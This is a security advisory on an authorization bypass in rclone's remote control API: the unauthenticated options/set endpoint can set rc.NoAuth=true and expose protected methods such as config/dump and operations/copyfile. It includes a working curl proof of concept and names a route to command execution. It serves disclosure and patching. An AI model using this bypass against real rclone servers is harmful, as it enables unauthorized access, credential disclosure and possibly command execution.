JLSEC-2026-280

Summary

The RC endpoint options/set is exposed without AuthRequired: true, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set rc.NoAuth=true, which disables the authorization gate for many RC methods registered with AuthRequired: true on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.

Preconditions

Preconditions for this vulnerability are:

• The rclone remote control API must be enabled, either by the --rc flag or by running the rclone rcd server
• The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the --rc-addr flag is in use
• The rc must have been deployed without global RC HTTP authentication - so not using --rc-user/--rc-pass/--rc-htpasswd/etc

Details

The root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.

The issue is caused by two properties of the RC implementation:

1. options/set is exposed without AuthRequired: true
2. the RC server enforces authorization for AuthRequired calls using the mutable runtime value s.opt.NoAuth

Relevant code paths:

• fs/rc/config.go

  • registers options/set without AuthRequired: true
  • rcOptionsSet reshapes attacker-controlled input into global option blocks

• fs/rc/rcserver/rcserver.go

  • request handling checks:

    • if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth()

  • once rc.NoAuth is changed to true, later AuthRequired methods become callable without credentials

This creates a runtime auth-bypass primitive on the RC interface.

After setting rc.NoAuth=true, previously protected administrative methods become callable, including configuration and operational endpoints such as:

• config/listremotes
• config/dump
• config/get
• operations/list
• operations/copyfile
• core/command

Relevant code for the second-stage command execution path:

• fs/metadata.go

  • metadataMapper() uses exec.Command(...)

• fs/operations/rc.go

  • operations/copyfile is normally AuthRequired: true
  • once rc.NoAuth=true, it becomes reachable without credentials

This was validating using the following:

• current master as of 2026-04-14: bf55d5e6d37fd86164a87782191f9e1ffcaafa82
• latest public release tested locally: v1.73.4

The issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).

PoC

Minimal reproduction

Start a vulnerable server:

rclone rcd --rc-addr 127.0.0.1:5572

No --rc-user, no --rc-pass, no --rc-htpasswd.

First confirm that a protected RC method is initially blocked:

curl -sS -X POST http://127.0.0.1:5572/config/listremotes \
  -H 'Content-Type: application/json' \
  --data '{}'

Expected result: HTTP 403.

Use unauthenticated options/set to disable the auth gate:

curl -sS -X POST http://127.0.0.1:5572/options/set \
  -H 'Content-Type: application/json' \
  --data '{"rc":{"NoAuth":true}}'

Expected result: HTTP 200 {}

Then call the same protected method again without credentials:

curl -sS -X POST http://127.0.0.1:5572/config/listremotes \
  -H 'Content-Type: application/json' \
  --data '{}'

Expected result: HTTP 200 with a JSON response such as:

{"remotes":[]}

Testing performed

This was successfully reproduced:

• on the tester's ocal test environment
• on a public amd64 Ubuntu host controlled by the tester

Using the public host, the following was confirmed:

• unauthenticated options/set successfully set rc.NoAuth=true
• previously protected RC methods became callable without credentials
• the issue was reproducible through direct host execution

Impact

This is an authorization bypass on the RC administrative interface.

It can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.

Depending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.